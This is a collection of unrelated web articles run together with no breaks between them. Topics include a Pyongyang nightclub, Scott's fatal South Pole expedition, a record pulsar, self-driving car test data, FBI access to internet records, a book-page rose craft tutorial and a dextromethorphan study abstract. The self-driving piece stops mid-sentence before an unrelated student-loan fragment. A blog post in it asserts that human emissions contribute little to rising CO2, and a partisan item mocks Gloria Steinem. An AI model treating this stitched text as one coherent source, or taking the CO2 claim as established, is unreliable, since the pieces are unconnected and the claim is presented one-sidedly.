I've written before about Pyongyang's only nightclub, the Taedong Diplo. Despite it only having one CD to its name, it's still your best bet for catching Koreans co-mingling with Western music. Unfortunately, this Western music normally involves little more than playing the aforementioned CD (the incessant call of Trance Hits 1993 on loop) or someone sticking on the karaoke edition of the Titanic soundtrack, which North Korean students dig big-time thanks to its frequent showing in Pyongyang's universities as an example of western culture (according to Korean ideology, industrial revolution: good. Leonardo DiCaprio drowning: better).
This grim legacy of disco downers was all to change, however, on the night DJ Ian Steadman turned up last year, coming fully prepared to man the mic long past the 10pm electricity curfew with a bag of indie hits.
Just prior to Ian's debut on the decks, visitors to the club were treated to the airing of a new CD held in the North Korean pop vaults – Madonna's Die Another Day from the soundtrack to the James Bond movie in which James Bond is, er, held captive in North Korea (it's veiled threats like this that make doing things in the country so much fun).
After this, it was Steadman's time to step up. What was quite probably North Korea's first ever indie disco saw a handful of drunken local guides and a large group of foreign tourists dancing to a playlist that included Buraka Som Sistema, Hot Chip and Talking Heads. According to current trends, it seems indie couldn't be hitting North Korea at a better time. The ever-reliable North Korean Economy Watch recently reported that skinny jeans are all the rage in Pyongyang these days. We're not sure if this was entirely down to fashion reasons, though, and those holding their breath for a full-scale hipster revolution will have to wait a little longer for the fixie bikes and lens-free glasses to roll through. After all, the other top consumer products listed alongside trouserwear were reportedly pig-intestine rolls and, er, human manure.
According to Steadman, it was TV on The Radio's Dancing Choose that elicited the biggest response, with one North Korean vigorously grabbing his arm and demanding to know where he could get a copy of this "very, very, very good band".
If only all nights out in North Korea were so successful. My last visit to the same club culminated in an angered security guard unexpectedly pulling the plug on the music, grabbing the karaoke microphone and bellowing, "Look, you fucking drunk bastards! Get the fuck out of here! Get on the fucking bus! Go! Or I'll take your fucking passports from you and you'll stay in fucking North Korea forever. FUCK OFF!" – a more high-stakes ending than a punch-up and a battered sausage outside the Sheffield Leadmill on a Friday night, that's for sure.Correlation of Net CO2 emissions with climate properties shows that the growth in CO2 may be natural
Story submitted by WUWT reader Steve Brown
The narrative of the catastrophic anthropogenic global warming has been challenged at many levels but this presentation by Professor Murry Salby, Chair of Climate at Macquarie University rips up the very foundations of the story.
The talk (in the video below) was given at the Sydney Institute 2nd Aug 2011
He elegantly shows that there is a solid correlation between natural climate factors (global temperature and soil moisture content) and the net gain (or loss) in global atmospheric content when the latter is averaged over a two year period. The hanging question remains, if natural factors drive more than 90% of the growth in CO2 how significant is the contribution of human generated emissions. The answer is simple… not very.
The talk has been covered in the past on Judith Curry’s blog, and an abstract of the talk is here. But this is the first time I have encountered a video of the talk or been able to see the slides which he referenced.
Fascinating.
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RedditAn image showing spiral galaxy NGC 5907, in which the record breaking pulsar resides. The inset box shows how the pulsar takes just 1.13 seconds to complete one spin.
Copyright: ESA/XMM-Newton; NASA/Chandra and SDSS Astronomers have discovered a kind of spinning star called a pulsar that is the brightest ever observed, and ten times brighter than the previous record holder.
Pulsars are the compacted, dense remnants of massive stars that have exploded, and spin quickly while sending out pulses of radiation into space.
ESA’s XMM-Newton X-ray space observatory has spotted one such pulsar, named NGC 5907 X-1, that is a thousand times brighter than previously thought possible, and releases the same amount of energy in one second as our Sun does in 3.5 years. It is also the farthest pulsar from Earth ever detected, some 50 million lightyears away.
"Before, it was believed that only black holes at least ten times more massive than our Sun feeding off their stellar companions could achieve such extraordinary luminosities, but the rapid and regular pulsations of this source are the fingerprints of neutron stars and clearly distinguish them from black holes," says lead author Gian Luca Israel, from INAF-Osservatorio Astronomica di Roma, Italy.
The discovery is also significant because the pulsar’s spin rate has changed from 1.43 seconds per rotation in 2003 to 1.13 seconds in 2014. It is thought that such a rapid change in speed must be the result of a star consuming mass from a companion star.
"It is 1,000 times more luminous than the maximum thought possible for an accreting neutron star,” says Israel, “so something else is needed in our models in order to account for the enormous amount of energy released by the object."
Carousel image: Artist’s depiction showing a pulsar sending out beams of X-rays as it spends.
Credits: NASA/JPL-CaltechOn 12 November 1912, a party of British explorers was crossing the Ross Ice Shelf in Antarctica when one of the team, Charles Wright, noticed "a small object projecting above the surface". He halted and discovered the tip of a tent. "It was a great shock," he recalled.
With his companions, Wright had been searching for Captain Robert Falcon Scott who, with four colleagues, had set off to reach the South Pole the previous year. The team, from the Scott expedition base camp, knew their comrades were dead: their provisions would have run out long ago. But how and where had Scott perished?
Wright had found the answer. "I tried to signal my party to stop as I considered it would be a sort of sacrilege to make a noise," he said later. The men began digging and revealed a tent, perfectly pitched, as Scott would have insisted. He was lying at its centre with Lieutenant Henry Bowers and Dr Edward Wilson on either side. His companions appeared at peace but Scott looked agitated, as if he had struggled to the last. Of his other men, diaries showed that Petty Officer Edgar Evans had suffered concussion after a fall and died a few weeks after the group began trudging back from the pole, while Captain Lawrence Oates had walked out of their tent to his death because he felt that he was holding back his comrades. Those diaries also showed that Scott had been beaten to the Pole by the Norwegian Roald Amundsen.
The cold had turned the skin of Scott, Wilson and Bowers yellow and glassy. "That scene can never leave my memory," recalled Apsley Cherry-Garrard, another search-party member. "We never moved them. We took the bamboos of the tent away and the tent itself covered them. Over them we built the cairn." The party's leader, Edward Atkinson, read the lesson for the burial service from Corinthians.
It took three more months for the expedition's survivors to reach New Zealand and to cable Britain. Four days after the news arrived, a memorial service was held at St Paul's, attended by the King, the Archbishop of Canterbury and the elite of British society. More than 10,000 people gathered outside. Just as it did when Princess Diana died, Britain reacted with an outpouring of national grief.
Over the following century, Scott's death provided Britain with a powerful legend imbued with heroism, sacrifice – and a noble defeat that will be the focus of considerable attention when, on 14 December, the 100th anniversary of the South Pole's conquest is commemorated. On that day, at exactly 3pm, Amundsen and his four companions reached the planet's most desolate, inhospitable spot. Amundsen noted in his diary: "We had a celebration dinner: a small piece of seal meat each." Thirty four days later, Scott arrived and found that his greatest fear – to be beaten to the pole by the Norwegian – had come true. "Great God! this is an awful place and terrible enough for us to have laboured to it without reward of priority," he wrote.
Amundsen's victory and Scott's defeat have acquired a mythic status over the years: a battle between cold, Scandinavian efficiency and British have-a-go pluck and cheery amateurishness. The victory of the former was therefore assured, it is assumed, while the latter was doomed from the start.
'A chain of events – and lies – put Amundsen there. He should have been at the other pole.' Scott in his naval uniform and Roald Amundsen. Photograph: Getty
In fact, the arrival of Amundsen at the South Pole that day was by no means a certainty, a point that remains one of the least appreciated aspects of the Scott-Amundsen story. Indeed, it had taken an extraordinary chain of events – and lies – to place Amundsen there. By rights, he should have been standing on our planet's other pole that year. From this perspective, Scott was a victim, not simply of bad luck but of deception. As UK polar expert Nick Cox says: "Only the slightest change in circumstances could have produced a dramatically different outcome for Scott."
Roald Amundsen, the fourth son of a family of Norwegian ship owners, had been fascinated since adolescence with the fate of Sir John Franklin's lost expedition to find the Northwest Passage, a sea route that would link the Atlantic and Pacific oceans. He was also inspired by the great Norwegian explorer Fridtjof Nansen, who had come close to conquering the North Pole in 1895. Amundsen vowed to achieve the goals that had eluded his two heroes. In 1900, aged 28, he used up his inheritance to buy the shallow-hulled ship Gjoa which he then sailed through the knots of tiny islands, ice floes and shoals of northern Canada from the Atlantic to the Pacific. The Northwest Passage had been conquered. Amundsen turned to the North Pole and his hero, Nansen, agreed to lend his ship, the Fram, for a new expedition. And then the bombshell dropped.
Within weeks of each other, in 1909, two rival US explorers – Robert Peary and Frederick Cook – announced they had led two separate expeditions to the North Pole. Neither man's claim is accepted today, so poor was their proof of arrival and so incredible were the speeds with which they claimed to have travelled over the ice. Even at the time, there were mutterings. Both were backed by rival New York newspapers, it was noted. But it was enough for Amundsen. There was no glory in going north, he decided. Robbed of one pole, he simply chose to bag the other. But there were complications: Robert Scott, the 42-year-old who had already led one expedition to Antarctica from 1901 to 1904, was preparing to embark on a new voyage there.
"Norway had only just achieved independence and its biggest ally in gaining this had been Britain," says Geir Klover, director of the Fram Museum in Oslo. "Our queen, Maud, was British, the granddaughter of Queen Victoria." Protocol indicated that Scott's expedition should not have to face a last-minute Norwegian rival. Amundsen knew this and was aware he would probably be refused permission to use the Fram to go to Antarctica. So he sailed off from Oslo, on 3 June 1910, with the professed intent of sticking to his old plan to sail the Fram round Cape Horn and back north to Alaska and the easier route to the North Pole.
Only when he reached Madeira, while Scott was on his way to Australia, did Amundsen reveal his new plan. A telegram awaited Scott in Melbourne: "Beg leave to inform. Fram heading south. Amundsen." The news stunned Scott and his men. As one of them remarked: "We are up against a very big man." This view is backed by Klover: "Amundsen had a tremendous reputation. He was a meticulous planner, easily the best organised explorer of his generation. It was not good news for Scott."
Yet it had taken a series of deceptions to send Amundsen on his way to clash with Scott. "If Peary and Cook had not been believed, then Amundsen would not have lied and headed south," says Cox. "Scott would not have got to the South Pole any quicker, but his party's return – having been first to the pole – would have been a far more spirited, cheerful affair. Scott, Bowers and Wilson died 11 miles short of a huge food depot. They just might have made that with the spring of victory in their steps."
As it was, Scott now had to contend with a race to the pole in addition to the complex scientific missions he had planned. Apart from the expedition's geological, meteorological and biological goals, he had included ponies, dogs and mechanical sledges to try out each one's transport potential and carry out many other tests. By contrast, Amundsen merely telegrammed the scientists he had promised to collect in San Francisco en route to the North Pole and told them not to bother. "Amundsen was keen on science, but not on this expedition," admits Klover. Unencumbered, his teams of dog sledges swept easily to the pole. By contrast, Scott refused to give up a single scientific goal and that cost his men dearly.
The ice men: Scott, seated at the far end, celebrates his 43rd birthday during his Terra Nova expedition to the Antarctic, 6 June 1911. Photograph: Scott Polar Research Institute
Thirty miles north of London, at Tring in Hertfordshire, the Natural History Museum has one of its most important collections. Eggs from more than half of the world's 10,000 bird species are stored here, from giant specimens provided by ostriches to tiny hummingbird eggs. It is an astonishing array and involved a great many individuals undertaking hazardous missions to collect them. However, none endured the hardship of the men who gathered the collection's greatest prize: three emperor penguin eggs that are kept in a cardboard shoebox-sized container labelled "Aptenodytes forsteri, Cape Crozier, 20 July 1911" and stored in one of the hundreds of cabinets lining the museum's walls.
"At the time, it was thought the emperor penguin was one of the planet's most primitive birds," says Douglas Russell, Tring's curator of eggs, "and that analysis of its embryos would allow scientists to peer deep into the evolutionary history of all birds and establish links between them and their reptile predecessors. All that was needed were some fresh-laid emperor penguin eggs." It sounded uncomplicated and appropriate for Scott's mission. There was a catch, however. The emperor penguin lays its eggs in June, in the Antarctic midwinter.
No one had ever travelled in Antarctica during winter. But Scott's chief scientist, Edward Wilson, thought it would be straightforward and enlisted Bowers and Cherry-Garrard. If nothing else, the egg-collecting trip fitted in perfectly with Scott's goals. He recruited specialists in zoology, geology, physics and meteorology to take part. From the start, he had insisted research was to be the main purpose of his expedition. Bagging the pole would merely be a bonus, he claimed. Thus Scott established a substantial base camp on Ross Island when he arrived in Antarctica and arranged for his men to carry out several other mapping and geological missions while he made a bid for the pole. Of these other missions, the one led by Victor Campbell to the north would be the most arduous – with the exception of the journey taken by Bowers, Cherry and Wilson.
At midday on 27 June 1911, the trio left their base-camp hut – and walked into a freezing, pitch-black, gale-battered nightmare. The men had to pull two sledges of food, fuel and equipment to reach the penguin's breeding colony at Cape Crozier, 70 miles away. Temperatures plunged to -60C while the thick cloying snow forced them to pull their sledges in relay, so they gained only one mile for every three they walked. They could only navigate by moonlight or by the dim twilight around noon. The rest was utter darkness. The men took turns falling into crevasses. At one point, Cherry's teeth chattered so violently they shattered. "Sometimes it was difficult not to howl," he recalled in his aptly titled account of the expedition, The Worst Journey in the World.
The trio eventually found the colony, snatched six eggs, dropped three and staggered back to base camp close to death. "Their faces were scarred and wrinkled, their eyes dull, their hands whitened and creased," Scott noted. For five weeks, the men had endured the hardest conditions on record, he added. Cherry never fully recovered. As to the eggs, after the death of the scientist they were intended for, they were passed around until 1934 when zoologist CW Parsons concluded, "They did not greatly add to our understanding of penguin embryology." For good measure, scientists no longer believe that embryos help much in studying a species' evolutionary history. Science can be a harsh mistress.
Yet in many other ways, Scott played a key role in opening up Antarctica to scientific scrutiny. He used mechanised sledges – the only aid Amundsen feared might win the race for Scott. The sledges failed, but the lessons learned were crucial to their use in future expeditions. The meteorological readings made by his team provided science with the longest unbroken measurement of weather in Antarctica and are still used today. "Scott's expedition also brought back 40,000 specimens and their research produced 15 volumes of bound reports written by 59 specialists," says Elin Simonsson, of the Natural History Museum in London. "The birth of glaciology can be traced to the expedition while the photography of Herbert Ponting transformed the use of cameras on other expeditions."
The most important of all specimens returned was one of the last to be collected. On 12 February 1912, as his team trudged, defeated from the pole, Scott stopped at the top of the Beardmore glacier and, noting some interesting moraine, decided it would be a good day to spend "geologising". Incredibly, they added 35lb of rocks to their load, an act that is seen by Scott's critics as an act of utter folly. Roland Huntford describes it as "a pathetic little gesture to salvage something from defeat at the pole" (see box above).
Certainly, it seems an extraordinary move, wasting time and adding weight to sledges that were difficult to haul. Climate expert Professor Jane Francis of Leeds University disagrees. "I have worked on the Beardmore glacier. On a sunny day, it is a beautiful place. Scott was probably giving his men a rest before the last trek home. And the weight would have made little difference to the energy they expended."
Whatever the reason, it was a providential decision. Among the rocks, scientists found a fossil sample of a Glossopteris fern. "Glossopteris has big feather-shaped leaves and Scott and his men found a very small fragmentary piece. But it was a very important find," says palaeontologist Paul Kenrick of the Natural History Museum in London, where the Scott Expedition's myriad fossil samples are stored. "The plant is extinct, but fossils had already been found in Australia, South America and India. Its discovery in Antarctica provided key support for the idea that all these continents had once been linked together in one vast supercontinent, a theory we now know to be correct."
This success was the last moment of relief for Scott and his men. Edgar Evans, the team's strongest man, had already begun to weaken. On 17 February, Scott found "the poor man… on his knees with clothing disarranged, hands uncovered and frostbitten, and a wild look in his eyes." Evans died that night – probably of brain damage, incurred during a fall, and aggravated "by scurvy, dehydration, high altitude, or a combination of all these factors", states atmosphere chemist Susan Solomon.
A monument erected to Scott in 1912 in the French Alps where he had tested dog sledges for his expedition; and the last page of Scott’s journal. Photograph: Getty
Oates was next. Lame from frostbite, he could hardly walk and had his reindeer-skin sleeping bag slashed on one side so he could keep his leg outside so it would freeze and kill the pain. He asked Scott to leave him to die, but was refused. By 16 March it was obvious he could not go on and he walked out of the tent, into a blizzard, to his death, an act of self-sacrifice that has achieved mythic status. It was "a luminous moment in our history", as the polar travel writer Sara Wheeler has put it. The search party that had found Scott, Bowers and Wilson in their tent later discovered Oates's effects and erected a cross there. "Hereabouts died a very gallant gentleman," it stated.
After Oates's sacrifice, Scott realised that he, Bowers and Wilson had little chance of survival. By 22 March they had two days' food left, but were three days short of their next depot. Then a blizzard struck and stopped them moving on. They never left their tent again. "We have struggled to the end and have nothing to regret," Wilson wrote to his wife, Oriana. For his part, Bowers tried to soothe his mother. "For me, the end was peaceful as it is only sleep in the cold," he told her. Scott, almost certainly the last to die, wrote copious letters to the expedition's backers, his colleagues and the families of his dead comrades. His final letter is dated 29 March. "It seems a pity, but I do not think I can write more. R Scott," he scrawled, before adding a last frantic message: "For God's sake look after our people."
Many of these letters are gathered at the Scott Polar Research Institute's museum in Cambridge, and displayed in drawers where visitors can study them. Written in pencil, they are hard to decipher, but nevertheless have a powerful impact. "I still find them intensely moving," says Heather Lane, the institute's librarian. Oates's sleeping bag is also displayed there, with its slashed-open side, another poignant reminder of the men's suffering.
As to Scott's last words, these were not a general cry of despair but a very specific call for financial help for his family, says Lane. "Scott was desperate because he knew he was the sole breadwinner, not just for his wife Kathleen and their son Peter, but for his mother and sisters. He was frantic they would be left destitute. That is why he wrote those words." In this case, he need not have worried. An appeal for funds by the Lord Mayor of London was so successful it provided pensions for all the polar party's widows and orphans, with enough left over to set up the Scott Polar Research Institute.
There is one final twist to Scott's story. Edward Atkinson, the man left in charge of Base Camp, knew Scott was dead, but had no idea what had happened to a second expedition led by Lieutenant Victor Campbell to survey the coast to the north. (He and his men had become trapped by the Antarctic winter, but survived for months in blubbery filth by sheltering in a cave they carved out of the ice.) As the weather improved, Atkinson had to decide: should he try to find Scott's or Campbell's party? The former were certainly dead while finding Campbell could make the difference between life and death for his men.
Atkinson held a vote. There was one abstention. The rest voted to find Scott. "It says everything about Scott and his centrality to the whole expedition, that not a single man spoke up for the living," notes his biographer David Crane. If the search party had failed to find Scott, and if Campbell and his men had died, their names would have "stunk to the heavens", Wright noted at the time.
But Campbell survived and the bodies, letters and diaries of Scott and his men were found. As a result, our perceptions of the Antarctic were changed for ever. We learned of Oates's sacrifice, the death of Evans, and the final, terrible days the last three survivors had to endure before they lay down to wait for death. (They had enough morphine to kill themselves, but decided to die naturally.) We also learned of Scott's last words and read the desperately poignant letters he wrote to his comrades' families and to his own loved ones. "Had we lived, I should have had a tale to tell of the hardihood, endurance and courage of my companions which would have stirred the heart of every Englishman," he wrote. "These rough notes and our dead bodies must tell the tale."
As the explorer Ranulph Fiennes says: "Scott wrote wonderful English under awful circumstances." Crane goes further: "His letters, diary and last message extend our sense of what it is to be human. No one else could have written them; no one else, at the point of defeat and dissolution, could have so vividly articulated a sense of human possibilities that transcend both." As to the fate of Scott's body, and those of Wilson and Bowers, the impromptu mausoleum created by Cherry, Atkinson and the rest of the search party has long since disappeared, says Lane. "The cairn with their bodies is still out there on the Barrier, deeply buried under accumulated snow, heading slowly towards the Southern Ocean as the ice fields move towards the sea – where they will eventually receive a marine committal."
Scott's Last Expedition opens at London's Natural History Museum on 20 January. The Scott Polar Research Institute in Cambridge is also running a series of exhibitions and events to mark the centenary over the next 12 months (spri.cam.ac.uk/museum)Image caption Breaking Bad is about teacher Walter White becoming a meth dealer
Apple is refunding fans of TV show Breaking Bad after a mix-up over the number of episodes in its final season.
The confusion meant many people effectively paid twice for the final 16 episodes of the hugely popular show.
This was because Apple charged people who bought a "season pass" twice - once for each eight-show chunk as they were billed as separate seasons.
Apple has sent out emails giving people an iTunes voucher for the extra cash they spent.
Breaking Bad's fifth season was split into two halves by cable channel AMC with each eight-episode section being shown a year apart. The second half of this season, which sees the show reach a conclusion, was first broadcast and made available online on 11 August.
The split caused problems on iTunes where many people had paid to see the closing series expecting that this would include all 16 episodes.
When Apple charged people again for the second eight episodes, called The Final Season, many complained and one outraged fan took legal action over the extra charge.
Now Apple has refunded the extra $22.99 (£14.40) levied on those people who were charged extra to watch The Final Season. Those who bought a season pass for the fifth season will now be able to watch all 16 episodes.Carmakers from Tesla to Volkswagen are trying to make drivers obsolete, handing control of the wheel to a computer that can make intelligent decisions about when to turn and how to brake. Google gets a tremendous amount of attention for the work it’s putting into self-driving cars. But how do its competitors stack up?
Thanks to new data the companies recently submitted to the California DMV, we can begin to get a rough idea of how mature their technologies are. The information covers a 14-month period of testing by each company on public California roads, and tracks how often the computerized driving features had to turn things over to a human driver because of a software glitch or inability to handle a tough road situation.
We can only glean so much from this one report, of course. It doesn’t tell us anything about whether a particular company’s driverless technology is ready for market, or when it might roll out an autonomous vehicle. And many of these firms are running experiments in other states — testing that isn’t reflected in the California-specific data we’re looking at here.
Still, the corporate race to field the nation’s first autonomous vehicle is only accelerating, which makes it useful to know which companies have sunk the most mileage into their test cars, as well as how often that technology failed to work. Here are some notable details from the reports:
Google leads the pack
It’s no surprise to see that Google is light-years ahead of many of its rivals. It racked up over 400,000 miles of test-driving in California over the past year with its fleet of autonomous cars.
Which means that although a Google driver had to take over the vehicle roughly the same number times as other automakers…
…on a per-mile basis, Google's autonomous cars have the best record, requiring virtually no interruptions of the software.
Here are a few other findings the data reveal.
Tesla’s blank slate
While Google released a detailed 32-page report on its testing, Tesla delivered its entire report in two sentences. Tesla reports zero incidents in which test drivers have intervened in the use of its autonomous vehicles, which would seem improbable for an automaker that fully anticipates driverless car technology to become ubiquitous in the next few years.
Has Tesla already perfected the technology, or is it not even testing in California?
Tesla's explanation, at least in part, is that it's using the public as its guinea pigs. Every time it rolls out a software update to its customers' cars, Tesla inches closer to chief executive Elon Musk's dream of a completely self-driving car.
"Tesla is testing autonomous driving technology in a variety of ways," the company said in a statement, "including many aspects of such systems in real-world driving situations. We are just not currently conducting testing in a way that falls within the specific classifications of the DMV report."
This answer doesn't rule out the possibility of other forms of testing, such as on private California roads or outside the state. We've asked Tesla to clarify, and we'll update this post if and when we hear from them.
Mercedes-Benz, Delphi tap the brakes
Late last year a Navigant Research report pinned Daimler, the Mercedes-Benz parent company, as the global leader in autonomous vehicles. Yet looking at the data out of California, Daimler slowed its testing in 2015. A Daimler spokeswoman said the drop off in miles was due to intense tests of the system, and not doing demo drives to generate mileage.
The trend is similar for Delphi, which made headlines when it completed a fully autonomous drive across the country in early April 2015. A spokeswoman attributed the boom in miles in the spring to that trip. She said there has been no change in the direction of the testing program, and that Delphi is testing in Nevada and Michigan as well.
Why things went wrong
The companies each offer unique explanations for why their technology fails. Some of these are technical and rather vague, such as "planner not ready" or "technology evaluation management." Others simply say that the "driver was uncomfortable," with no elaboration. But |
Of course, it is easier for the public at large to demand that over-leveraged banks be punished for imprudence than 24-year-olds trying to further their education.)
And third is the question of how to keep future graduates from accumulating a mountain of student loan debt just as large, if not larger, than the one just leveled.
It is this third issue which perhaps is most pressing — and most vexing —and which also offers the most opportunity for innovation. Levying an “education tax,” making college free and assigning students to institutions based on a lottery system? Abolishing “college” altogether for more specialized trade institutions instead, while at the same time requiring a “gap year” of liberal arts prior to entry? Offering high-school grads the choice between student loans or business loans to fund new ventures? These all seem ridiculous, but then so too is our current state of affairs.The Stockbridge man who was shot in the neck by police as they responded to the wrong address on a 911 call died Thursday afternoon, a family member said.
David Powell, 63, was shot late Tuesday or early Wednesday when Henry County police arrived outside his home and he went outside, with a gun, to see what the commotion was about. Police said Powell refused their instructions to put down his weapon, and an officer shot him.
Powell's brother-in-law, Clifton Worn, said Powell died at Atlanta Medical Center about 4 p.m. on Thursday.
Henry County police were responding to a call to 911 reporting gunshots and a woman crying for help. A preliminary review of the 911 call indicates “the officers were at the wrong location,” said Scott Dutton, spokesman for the GBI, which is investigating the shooting.The Washington Post reports:
The Obama administration is seeking to make it easier for the FBI to compel companies to turn over records of an individual’s Internet activity without a court order if agents deem the information relevant to a terrorism or intelligence investigation... The administration wants to add just four words — “electronic communication transactional records” — to a list of items that the law says the FBI may demand without a judge’s approval. Government lawyers say this category of information includes the addresses to which an Internet user sends e-mail; the times and dates e-mail was sent and received; and possibly a user’s browser history. It does not include, the lawyers hasten to point out, the “content” of e-mail or other Internet communication.
Of course, the government can already demand to know who you are talking to on the phone. That’s troubling, to be sure, but at least there is a limit to what they can learn from that, because there is a sharp distinction between the phone number and the content of the call. For electronic communications, such a distinction is very hard to maintain. For many communications (e.g., web browsing, or friend requests), the recipient of the message is the entire substance of the message.
Will those on the left who condemned the Bush administration’s policy on phone records step up to condemn this far-worse overreach? We will see who was honest, and who was just scoring political points.
(Via Hot Air.)
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NEW YORK CITY, May 17, 2017 (LifeSiteNews) -- A self-avowed “radical feminist” is blaming so-called ‘man-made’ climate change on too few women aborting their children.
In an interview with Refinery29, 1960’s feminist icon Gloria Steinem began with the debunked population explosion myth.
“What causes climate deprivation is population,” she said, echoing the current liberal spin.
She then tied her pet issue, unrestricted government-funded abortion and its global coercion, with the standard “Florida-is-sinking-into-the-ocean” fearmongering:
“If we had not been systematically forcing women to have children they don’t want or can’t care for over the 500 years of patriarchy, we wouldn’t have the climate problems that we have. That’s the fundamental cause of climate change,” she said.
Steinem, who popularized the “I got an abortion” t-shirt, then said that the world’s main salvation from polar ice-cap melt is more abortions.
“The human load on this earth is the biggest cause of global warming, and that is because of forcing women to have children they would not on their own choose to have,” she said.
The Daily Caller noted the irony in climate change activists like Steinem, who want to save the planet for future generations...by aborting the future generation: “We have to kill the children, or else we won’t have any sort of planet to leave to the… children. Wait.”
Refinery29 did not challenge the logic of Steinem’s claims that “climate deprivation” threatens the world, that its cause is “population,” that there are too many children in the world, that women historically have been “systematically forced” to bear children they don’t want, that patriarchy is 500 years old, or that universal abortion-on-demand would eliminate climate change.
Steinem made the same batty assertions last year as the keynote speaker at a Planned Parenthood fundraiser. “Forced childbirth is the single biggest cause of global warming,” she said.
Not surprisingly, she also blames the Pope and “patriarchal religions” for “the earth’s temperature...ticking upwards.”
“We should have this massive education campaign pointing out that the Pope and all of the other patriarchal religions that dictate to women in this way, accusing them of global warming,” Steinem said. “Does (the Pope) know he’s causing it?”
The 83-year-old former Playboy bunny, whose mother went partially insane before she was born, doesn’t have any children of her own. She waited until she was in her sixties before marrying. (Her husband died just three years after they were married.)
Steinem characterizes her own abortion at age 22 as “positive" and guilt-free, even though “I used to sit and try and figure out how old the child would be.”Learn how to make stunning book page roses for a wedding bouquet and/or a party table centerpiece.
This tutorial was submitted by Jen Holz from JLHUPCYCLING – an etsy store that specializes in wedding and vintage handmade goods using recycled book pages! Jen is also a member of the Grillo Designs Home Decorating Facebook group which you can join here.
[Psst! Join Grillo Designs on Instagram and Pinterest to keep up with our latest posts and ideas. Got a question? Join the discussion in the new HOME & DIY chat forums and don’t forget to SUBSCRIBE TO THE BLOG for more awesome DIY ideas!]
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Materials used
This post contains affiliate links for your crafting convenience, see full disclosure here
How to make Book Page Roses by Jen Holz
Keeping the book pages stacked, cut the pages down to approximately 4″x6″. I used a larger book so I cut the pages in half. If you use a smaller book, you may not need to cut the pages down.
Next, cut the book pages into a circle. The larger the circle, the larger your rose will be.
For the next step, cut the pages into a spiral shape. I usually start off the spiral with a thinner strip (this will be the rose’s center), and gradually create a thicker strip as I create the spiral. Finish the spiral by creating a tab in the middle of the circle (this will be the base of the rose).
Starting with the outer end of your spiral and keeping all 3 pages together, start rolling your strips inward into a spiral shape to create the rose’s center.
I’ve found the easiest way to hold the center together while you’re rolling the strips is to hold the top of the center with your right pointer finger, and hold the bottom of the center with your right thumb.
Then, as you keep rolling the strips inward to create the rose’s shape, hold the unrolled strips together with your left hand.
Once you reach the end of the strips, loosen the spiral lightly by adjusting your thumb and pointer finger to your desired rose shape. Next, put a dab of hot glue on the top of each tab and secure to the bottom of the rose. This will secure the rose to the base.
If the shape isn’t perfect, that’s ok! You can always cut it down to your desires size. It’s likely that every rose will be different. That’s what makes them unique 🙂
Want to add more detail to your rose? Add a small dab of hot glue to a pearl bead and press it to the center of your rose.
You can also easily attach a wire flower stem by working the wire through the base. If it feels loose, put a little hot glue on the stem before you attach it to the rose.
I hope you enjoyed this tutorial! If you have any questions, please leave me a comment below. Dont forget to check out my etsy store here.
You can also follow me on Social Media by clicking on the links below!
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– Jen Holz
IF YOU LIKED THIS BOOK PAGE ROSES TUTORIAL, YOU MIGHT ALSO LIKE SOME OF THESE OTHER CRAFTY IDEAS:
HOW TO MAKE A COMIC BOOK WREATH
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DIY RAG RUG TUTORIALMore information about Microsoft's next flagship smartphone has surfaced the Web. Yesterday, we learnt that the company is planning to host a hardware event in October wherein it will launch two high-end Lumia smartphones. Now a new report claims that the next flagship smartphone from Microsoft will be called the Surface Mobile. The leaked specifications of the smartphone are almost in line with the purported hardware specifications of the Lumia 950 XL Cityman, though it is said to come with a range of other features.
Rumours of new Lumia smartphones have been circulating since last couple of months. Many reports suggest that the company is working on two Lumia-powered smartphones codenamed Cityman and Talkman. The specifications of the phones have also been reported. Now a report on WMPU suggests the existence of one more phone (that is, if it isn't either of Talkman and Cityman). The report, however, also adds that the Surface Mobile smartphone will come with a pen input device called "Surface Pen."
What's interesting is that the Surface Mobile's leaked specification is in very similar to Cityman's and Talkman's purported specifications, though there are some noticeable differences. The report says that the Surface Mobile, codenamed Project Juggernaut Alpha, has a 5.5-inch display with QHD screen resolution. It is said to be powered by desktop class Intel Atom x3 (SoFIA) 64-bit processor (Talkman and Cityman are believed to be powered by Snapdragon processors) with 4GB RAM (with a variant offering 3GB RAM).
Other features of the Surface Mobile include a 21-megapixel PureView Zeiss 6-lens rear camera, and an 8-megapixel Zeiss wide-angle shooter placed upfront. The device is said to come with the S Pen-esque Surface Pen, with USB Type-C port. The device is said to have 64GB and 128GB storage options with support for microSD card to extend the storage to up to 256GB.
This isn't the first time we have heard about the Juggernaut Alpha smartphone. Rumour has it that the phone could run Win 32 (desktop) applications as well. But there isn't any concrete information to bank on just yet. Perhaps Microsoft also plans to launch it at its reported October event - though the report is tipping a late 2015 or early 2016 launch timeframe.Abstract Dextromethorphan is an antitussive with a high margin of safety that has been hypothesized to display rapid-acting antidepressant activity based on pharmacodynamic similarities to the N-methyl-D-aspartate (NMDA) receptor antagonist ketamine. In addition to binding to NMDA receptors, dextromethorphan binds to sigma-1 (σ 1 ) receptors, which are believed to be protein targets for a potential new class of antidepressant medications. The purpose of this study was to determine whether dextromethorphan elicits antidepressant-like effects and the involvement of σ 1 receptors in mediating its antidepressant-like actions. The antidepressant-like effects of dextromethorphan were assessed in male, Swiss Webster mice using the forced swim test. Next, σ 1 receptor antagonists (BD1063 and BD1047) were evaluated in conjunction with dextromethorphan to determine the involvement of σ receptors in its antidepressant-like effects. Quinidine, a cytochrome P450 (CYP) 2D6 inhibitor, was also evaluated in conjunction with dextromethorphan to increase the bioavailability of dextromethorphan and reduce exposure to additional metabolites. Finally, saturation binding assays were performed to assess the manner in which dextromethorphan interacts at the σ 1 receptor. Our results revealed dextromethorphan displays antidepressant-like effects in the forced swim test that can be attenuated by pretreatment with σ 1 receptor antagonists, with BD1063 causing a shift to the right in the dextromethorphan dose response curve. Concomitant administration of quinidine potentiated the antidepressant-like effects of dextromethorphan. Saturation binding assays revealed that a K i concentration of dextromethorphan reduces both the K d and the B max of [3H](+)-pentazocine binding to σ 1 receptors. Taken together, these data suggest that dextromethorphan exerts some of its antidepressant actions through σ 1 receptors.
